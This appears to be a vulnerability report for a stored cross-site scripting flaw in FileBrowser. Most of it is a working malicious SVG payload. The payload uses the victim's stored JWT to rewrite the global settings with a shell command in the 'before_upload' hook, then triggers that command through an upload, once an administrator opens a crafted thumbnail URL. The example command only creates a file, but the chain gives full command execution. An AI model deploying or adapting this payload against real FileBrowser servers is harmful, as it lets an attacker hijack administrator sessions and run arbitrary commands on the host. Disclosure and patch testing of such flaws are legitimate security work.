Stored XSS Vulnerability Discovered in FileBrowser

1. As a user with upload privileges, upload an SVG file containing a malicious script, such as the following:

   
   <?xml version="1.0" standalone="no"?>
   <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version=”1.1″ baseProfile=”full” xmlns=”http://www.w3.org/2000/svg” id=”mysvg”>
<script type=”text/javascript”>
var xhr = new XMLHttpRequest();
xhr.open(“PUT”, document.location[‘origin’] + “/api/settings”, true);
xhr.setRequestHeader(“Accept”, “/“);
xhr.setRequestHeader(“X-Auth”, localStorage[‘jwt’]);
xhr.setRequestHeader(“Accept-Language”, “en-US,en;q=0.5”);
xhr.setRequestHeader(“Content-Type”, “text/plain;charset=UTF-8”);
xhr.withCredentials = true;
var body = “{“signup”:false,”createUserDir”:false,”defaults”:{“scope”:”.”,”locale”:”en”,”viewMode”:”mosaic”,”singleClick”:false,”sorting”:{“by”:””,”asc”:false},”perm”:{“admin”:false,”execute”:true,”create”:true,”rename”:true,”modify”:true,”delete”:true,”share”:true,”download”:true},”commands”:[],”hideDotfiles”:false},”rules”:[],”branding”:{“name”:””,”disableExternal”:false,”files”:””,”theme”:””},”shell”:[],”commands”:{“after_copy”:[],”after_delete”:[],”after_rename”:[],”after_save”:[],”after_upload”:[],”before_copy”:[],”before_delete”:[],”before_rename”:[],”before_save”:[],”before_upload”:[“touch /tmp/rce.txt”]}}”;
xhr.send(body);

setTimeout(() => {  console.log(); }, 2000);

var xhr2 = new XMLHttpRequest();
xhr2.open("POST", document.location['origin'] + "/api/resources/" + Math.random().toString(36).substring(7) + ".html?override=true", true);
xhr2.setRequestHeader("Accept", "*/*");
xhr2.setRequestHeader("X-Auth", localStorage['jwt']);
xhr2.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr2.setRequestHeader("Content-Type", "text/html");
xhr2.withCredentials = true;
xhr2.send("abcd");

</script>
</svg>

2. This .svg will run javascript code that will: 
    a. upload a new Global Setting configuration with the “before_upload” parameter set to “touch /tmp/rce.txt” 
    b. upload a file with a random filename to trigger the command set before 

3. Open the Development tools in the browser, and copy the following URL from the "Network" tab: 
    http://filebrowser-ip:8080/api/preview/thumb/exploit.svg?auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoyLCJsb2NhbGUiOiJlbiIsInZpZXdNb2RlIjoibW9zYWljIiwic2luZ2xlQ2xpY2siOmZhbHNlLCJwZXJtIjp7ImFkbWluIjpmYWxzZSwiZXhlY3V0ZSI6dHJ1ZSwiY3JlYXRlIjp0cnVlLCJyZW5hbWUiOnRydWUsIm1vZGlmeSI6dHJ1ZSwiZGVsZXRlIjp0cnVlLCJzaGFyZSI6dHJ1ZSwiZG93bmxvYWQiOnRydWV9LCJjb21tYW5kcyI6W10sImxvY2tQYXNzd29yZCI6ZmFsc2UsImhpZGVEb3RmaWxlcyI6ZmFsc2V9LCJleHAiOjE2MjM0NTU0MDIsImlhdCI6MTYyMzQ0ODIwMiwiaXNzIjoiRmlsZSBCcm93c2VyIn0.8zKdkS5JeHdkPpA-Hrrv-hoGzC247hmxzMiDKci_eAA&inline=true&k=1623448194873 

    this URL is the XSS payload.  

4. Login to a different session (for example from a different browser) with an administrator account. Then click on the URL. This will trigger the payload.

### Expected result:
 The payload will write an empty file to /tmp/rce.txt.